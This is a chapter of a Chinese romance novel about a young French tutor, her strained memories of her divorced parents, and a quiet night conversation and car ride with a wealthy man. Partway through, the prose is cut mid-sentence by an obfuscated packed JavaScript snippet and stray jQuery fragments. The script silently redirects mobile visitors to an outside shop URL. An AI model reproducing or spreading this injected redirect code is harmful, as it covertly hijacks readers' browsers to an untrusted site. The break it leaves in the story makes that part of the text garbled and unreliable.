最后一点暑气消散，舟都真正入了秋。
秋意过浓就会让人觉得凉，尤其是周遭无人，静下来的时候，听不到声音，那种寂凉感很重。
下午程辞照常来做家教，自夏入秋，两个月，她应付实习已经够用，冬冬至多学到些皮毛。因此，高禛找到她，确切来说，是他的助理。
高禛临时出差，助理便代为转达希望她可以继续任教的诉求。
倒不是她的教学能力强，说是冬冬和她相处愉快。
六七岁，上小学的年纪，这种家庭的孩子学法语，无非是消遣和兴趣，要真指望能学到点什么，当初也不会找还没毕业的程辞来。
由此达成新的协议，持续到年后。
进了门，方姨过来，告诉她冬冬还没从学校回来。
程辞换掉鞋子，问：“没放学吗？”
已经过了五点，往常这个时候，冬冬到家该有一会儿。
“接小少爷的司机没回，应该是没放学，我领你进去等。”
程辞往里走，看到大理石桌面上的白瓷茶具，脚步不由得慢下来，许是有人坐在这儿喝过茶，杯子还冒热气。
“小程老师？”
方姨见她没跟上，“找什么呢？”
程辞立时收回视线，她没说，心思却浮沉，察觉到自己那一瞬是在找谁。
程辞出门穿短袖裙子，外面加了件燕麦色的薄款针织外套，屋子太暖，进来坐了没多久，后背隐隐发热。
她放下佣人端过来的水，将外套脱掉，手机进了消息，瞥一眼，程其建发过来的。
这十来天，大概是一年里他们父女联系最为频繁的时候。
贴肤面料软，她对折起来，叠成小方块盖在膝盖上。
上周程其建来了舟都，喊她出去吃饭，那店是舟都本地菜馆，褒贬不一，但挺有名的，前两年宿舍关系没僵成现在这样的时候，四个人还商量着一起去，虽然最后没去成，但程辞知道定价不便宜。
程其建问她吃过没有，她摇头。
“巧了，出来了就要尝尝当地特色么不是。”
也没问程辞想不想吃，他乐呵着，拍拍她的肩膀，让她进包间里坐。
遇上节假日人满为患，菜上得慢，和程其建一起来的阿姨也就最开始和程辞打了个招呼，等菜时并未开口，像是特意给程辞和程其建留出时间空间。
“最近在学校学了什么，难不难？”
程辞以为他问的是实习，“一些翻译工作，比较基础。”
程其建的关心也不太深，“外语专业是这样，翻译是基本功的嘛，但不要有压力，能做就做。”
那天店里的确忙，半小时一道菜，端上桌发现上错，服务员慌忙道歉，说对不起，“我是新来的，店里太忙了所以犯了错误，实在对不起先生。”
相貌年轻，或许也正在实习，满脸涨红，恨不得把自己藏进墙角，等待一场疾风骤雨。
程其建没多计较，叹口气说：“算了，知道你们过节忙，也不是不讲理的人，撤掉重上就好了，快点啊。”
服务员连声道谢，说这道菜算免费送的，关门出去了。
程辞默不作声吃菜，听到程其建问：“你妈那餐厅是不是也这样，忙到菜都能上错？”
在程辞的印象里，她爸大多时候都是这样的态度，提及前妻的口吻随意，仿佛分开后仍旧是朋友。
“她现在不太管了，偶尔去一两次，那边有经理负责。”
程其建哦了声，若有所思道：“那可以啊，直接坐享其成了。”
就这么顺着聊下去，“小辞，你觉得那个姓刘的对你好不好啊？”
程其建拿筷子夹菜，问的时候也没看程辞，程辞向少言语的阿姨望了一眼，能搭伙过日子都有原因，她笑容也看不出丝毫异样。
“蛮好的。”
程其建坦然自若，但程辞不想和他聊太多周念奚的事，转而问他最近的生活。
“我啊，我没什么事，剧院也不怎么去了，要给年轻人机会，平时闲下来爬爬山钓个鱼，就这么过吧。”
“你也该锻炼锻炼身体，改天回桦城我带你上山走条野道？”
……
饭后送走程其建二人，吃饭的地方在市区，附近也有不少打车的路人，刚有辆出租车开出去，下一辆紧跟着上来。
“姑娘走不走啊？”司机降下车窗，探头问。
程辞往旁边退了一步，身后很快来了对小情侣。
拉开车门，就着这顿饭交谈：“下次就我们两个出来吃饭吧，人一多好不自在啊。”
“行，听你的呗。”
回舟师大的地铁不能直达，要转线，程辞不常来地铁站，转八号线的空档里找自动售卖机找了好一会儿。
“咣当”，程辞弯腰取走掉下来的茶味饮料，随人流走上扶梯。
刚走一班，长椅空着，程辞找了个位置坐下来，含一口饮料在嘴里，看着地面，慢慢咽下去。
褒贬不一果然事出有因，菜品整体无功无过，和价钱不匹配，全程寡言的阿姨看见那张结账小票也皱了眉，但什么都没说。
换作周念奚，她不会这样。
应当要直接和程其建讲两句。
应当。
和他们同坐一个桌子吃饭的滋味，过于久远，程辞已经不太记得了。
程其建年轻的时候演话剧和音乐剧，一帮健谈同事，聚光灯下声台体形表，私下也常聚。
大包厢里，餐桌由东聊到西，由南聊到北，最后话题落在各自的孩子上。
搞艺术创作的也有一堆家长里短可言。
有位阿姨提及自家女儿，说她最近找了个特别负责任的钢琴老师，女儿大有长进，现在不仅喜欢跳舞，还因为有了进步而十分积极，每天嚷着非要多练两个小时琴。
坐在左边的爸爸听到，跟腔搬程辞出来：“我家小辞最近也在弹钢琴，有机会俩孩子一起玩互相交流交流啊。”
程辞忙咽下嘴巴里的热汤，朝那位阿姨乖巧笑了笑。
右边传来妈妈的冷嘲热讽，她不动声色拿张餐巾纸，不离近了听不到那语气有多差，“小辞说她要交朋友了吗，整天替孩子做主，你的话怎么能那么多，又搭台给自己演戏呢，少说两句吧。”
然后，听着他们你来我往，左呛右骂，程辞习以为常地夹在中间，每筷子的菜都吃不出咸淡，舌头还烫着，火辣辣的，人不再笑了。
她小声说她要去洗手间，好像可以将难听话甩在后面。
长到二十岁，无力的孩童期一去不复返，逃离躲避成了程辞改不掉的习惯。
手机装进包里，用来挡凉气的外套一并塞进去，程辞起身，朝玻璃窗后的小花园去。
舟都是四季分明的城市，温度越低白昼越短，室外天色转暗，用来照明的光线偏暖，迎着看不刺眼，也就分不清白日争奇斗艳的花分别盛开在何处。
平时没多少人和车能经过这里，入夜后更是，气氛静谧，却不是无声无息，从天空到草坪一切都在呼吸。
程辞倚在门边，视线高度平常自然，看向和她处在同一平面的事物。
像一粒沉沉浮浮的尘埃，漂流着被席卷的感觉，让她想起闭上嘴巴，靠鼻子就能够顺畅呼吸的海底。
石板长廊的另一端，传来低而弱的对话声，程辞如梦方醒，望过去，她一步步走近。
光亮处，靳时显不期然出现，程辞的气息微滞，复而畅快，有种错觉，好像透有缝隙可供喘息。
靳时显右手指间夹支燃到一半的烟，见是她，他往一旁移了移，掸掸烟灰，“这是在等冬冬？”
他一猜即中，程辞问：“你也是吗？”
“一小孩，摆的谱挺大。”
靳时显很轻地笑了下，唇边生出新的雾，“不在里面待着，等烦了吧。”
“还好，我出来透口气。”
话音落下，几秒钟的时间，程辞补了句：“白天看到花开得很好。”
“换季后温度变了容易凋，这边有专门的人过来打理。”
语调往下走，他像是很累了，所以要用提神的烟草物质来让自己开口：“不过现在太黑，什么都看不到。”
程辞转头看了眼他，“看不见很好，这里很安静，也够黑，什么都看不见就会放松些。”
她原本就是这样想的，她不喜欢光线太亮，而当下的场景，似乎给话里的语境赋予新的含义。
周遭也的确不亮，黑暗中辨得出清晰轮廓，程辞短暂注视过他，要别回原位，靳时显朝她看来，眼帘映入她侧脸，他眉眼一松，朝他的方向摆一摆手，喊她站过去点儿。
程辞不明所以，挪了下，靳时显看到她的正脸，更近，晶润眼瞳融不进暗色里。
“你那边有光。”
斜进来的光到她身侧，戛然而止，他们一齐站在阴影下，他说：“这样应该足够黑。”
他摘取她的只言片语，像是种调侃，那个带有笑意的重音，程辞听进去了。
安静和黑暗共存，好也不好，不被打扰时是疏散愁绪，有了能占据心思的人，就会忍不住发散思维，想东想西。
“你是不是没听过这种话？我胡乱说的。”
靳时显看着她，“是没听过，但我觉得有道理。”
程辞便和他说：“之前在家，附近公园的路灯坏了，就和现在很像。”
“好像没问过你，家是哪儿的？”
“桦城。”
桦城离舟都不太远，但总归是有距离的，靳时显夹烟的手放下，“怎么会来舟都上大学？”
记忆里，许多人问过她一模一样的问题，她的回答没变过：“舟都比桦城发达很多，风俗气候类似好适应，我妈妈……也在这里。”
“你和你妈妈感情很好。”似疑问又似陈述的一句话。
程辞垂着眼，左脚碰右脚，良久，单字一个嗯。
不痛不痒的答案尾音消散在夜色中，寂静缓缓流过他们之间隔开的距离，没人再说话了。
程辞心间的念头闪过好几次，靳时显今晚的心情不算好，至少比起之前见他，不算好。
即使两分钟前他还在笑，但对于他这样的人，笑容不能代表什么，就像此刻，走到他跟前，仍然隐一层捉摸不透的烟雾。
她冒出雾里看花的念头，并在足够黑的视野中实践：“没几个人会不想来舟都上大学吧？”
靳时显吁出口烟，神情不定，“舟都很好吗？”
中心城市，名校云集，资源顶级，她身边有人不惜抛下所有也要来这里闯一闯，自然是很好的。
哪怕程辞不喜欢这里，她也不能否认。
她说很好，而后久久看向一处，看到视野都有些发虚。
“你也是吗？”
听他问，她晃神，对上那双狭长眼睛。
其实她仍然不熟悉他。
半个多月来，上课频率没有改变，倘若是周末，程辞下午来，工作日则需等到冬冬放学吃过饭，有几回来得早，冬冬一个人坐长桌一边，喜出望外地喊她过来一起吃，她拿了筷子，但履行的是陪伴义务，一共没吃几口菜。
饭后收拾，方姨半是可怜半是无奈地说起冬冬自小就孤单，聊了几句，意外听到靳时显的名字，得知他和高禛更具体一些的关系。
高禛大靳时显六岁，是有血缘关系的堂兄弟，靳时显的妈妈是姐妹俩中要更大一些的姐姐，那天靳时显口中的小姨就是东东奶奶。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912709|213191||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
上一辈人走得近，他们时常保有联系。冬冬出生那一年，靳时显还在读高中，次年他前往英国留学，每次回舟都都会来看冬冬，小叔叔的称呼由此而来。
长期在外，一回来就送礼物送关心，奠定了他在冬冬心里的不可撼动的厉害地位。方姨说冬冬有段时间总把靳时显列为目标，他奶奶听了笑他，笑他什么来着？
“说也就冬冬现在年纪小不懂事才能说这话，和他小叔叔一样，那是立目标就能达到的吗？”
方姨当玩笑讲给程辞听，程辞知道这话是一语双关，不只是冬冬年纪小不懂是非，更因为目标是靳时显。
程辞看着靳时显。
高家未来的掌权人都不能和他相提并论，汇泰这种高端商场对他算不上生意，学校的樊书记对他更是敬重有加。
……
头绪乱如麻线，可最后，她轻轻点了头。
舟都当然很好，浮华熙攘，纸醉金迷，车水马龙的人间，繁华似小溪流汇入汪洋，所以在这里，什么都有机率成真。
她大约也是，想来见识一番，看看这儿究竟是哪里吸引人。
也想试一试，她能不能如旁人一般抛下所有，所以报考志愿时唯独填报了舟都的几所大学。
靳时显目光是静的，雾随光散，可声音还是听着不真实，“那算是愿望成真。”
可以成真吗？或者说，是她的愿望吗？
她的舌尖抵到右上颚最边上的小小凸起，软刺一样的触感，存在感不强，但一旦舔到又总想去试探它的大小。
程辞长了一颗智齿。
洗漱时无意发现的，在上面那排牙的最右面，一小块新生的白色物质。
她原本以为是翻出的软肉，也怀疑过是不小心留在口腔里的颗粒物，好几天后，才终于确认那是萌生的智齿。
科普说智齿是人口腔里的第三颗磨牙，身边许多人在早些年便长过，程辞却是头一次。
上小学时，班里同学脸上忽然出现两边密密麻麻的粉红色斑疹，老师和他们解释，说这是出水痘，抵抗力低所以不小心感染了水痘病毒，之后大家可能都会有。
但直到现在，程辞都没有过。
水痘需要及时处理，智齿却不是一定要拔掉，至少这些天它没有对她的生活产生负面影响，身边的知情人也劝她先等等。
程辞时不时记起，然后再遗忘，反复如此。
飘来的烟味很淡，闻不到味道便匆匆揉进风里，她和他不熟悉，了解无多的信息都是通过侧面途径得知的，别人讲给她听的，他和别人交谈里的，她从他身上感觉出来的……东拼西凑出一个靳时显。
他站她旁边，又离她很远，离得过于远，像是一种无声的默然。
舌尖顶住腮，微微移动着，描摹一遍智齿的形状。
“穿这么薄，冷不冷？”
靳时显右手垂下来，看过去，她的双腿与双臂裸露在外，他不急不缓抽完一整支，烟头残余微弱火星。
程辞愣一下，说：“里面太热了，衣服在包里。”
她说这话，像不打算听他的进去穿衣服，靳时显笑，“在外面呢？很能适应冷热变化？”
“当心感冒了。”
尚未品味到关心的滋味，方姨急匆匆寻到这里。
一问才得知冬冬迟迟不回家的原因，一次手工作业，班里交上来两份相似的手抄报，从指认抄袭发展到争吵打架，两位主人公被学校里的老师留下来喊家长了，显然冬冬是其中之一。
“先生一直没露面……”
程辞走在靳时显后面，跟他上了车。
依然是那辆黑色轿车，司机也是同一个人，她听到姓卢，靳时显吩咐他往冬冬的学校开，“尽快。”
卢司机应好，扫过后视镜，又一次看到程辞。
车子飞驰，在保证安全的情况下平稳行驶着，但无法瞬移，仍旧要一阵子才能赶到，程辞坐后排，问出口的话连她自己都没想到：“高先生是太忙抽不空吗？”
靳时显特地问过了，说：“他这会儿在飞机上，接不到电话。”
一个名正言顺的理由，让人找不出错误，甚至她也算知情，此情此景，却说不来表示理解的话。
察觉什么，靳时显投去一眼，“不高兴了？”
程辞喉口梗了下，仅仅自觉她有不寻常，全然没留意他语气里的亲人，车窗倒映出她拧到一处的眉毛，她的内心暴露无遗。
她解开眉间结，“只是奇怪。”
“高禛这人对冬冬是不太上心，你会有这种感觉不奇怪，很正常。”
她早看出来，但言多必失，总不该多管什么。所幸靳时显就止于此，并没往下延伸。
已经坐过这辆车两次，主人在身旁，惯来不比一人自然，多些顾及心思，又开出段距离，红绿灯前刹了一脚车，程辞小幅度前倾了下，稳住平衡，将身子坐直了。
动静引的靳时显看过去。
她穿短裙，长度在膝盖上面几公分，平时站着坐着都合适，这会儿黑色裙边不规矩地翻折，堪堪遮住大腿根，再往下点，左腿侧边的黑色小痣，像一小粒芝麻缀在羊脂玉的白上。
“包的拉链没拉好。”他出声，视线挪到她脸上。
她到现在没来得及取掉背包，后背抵着硬物一角，小皮包歪向他那边，敞开一条缝，露出贴肤的燕麦色面料。
刚取掉右侧肩带，程辞左边的肩膀被轻扯了下。
一秒钟不到的轻微声响，靳时显没让她再动，亲自帮她拉上了。
“下车把外套穿上。”
听不出哪里有变化，他声音轻，好整以暇倚靠着座椅，目视前方，仿佛只是为了补上方才在花园里被打断的关心。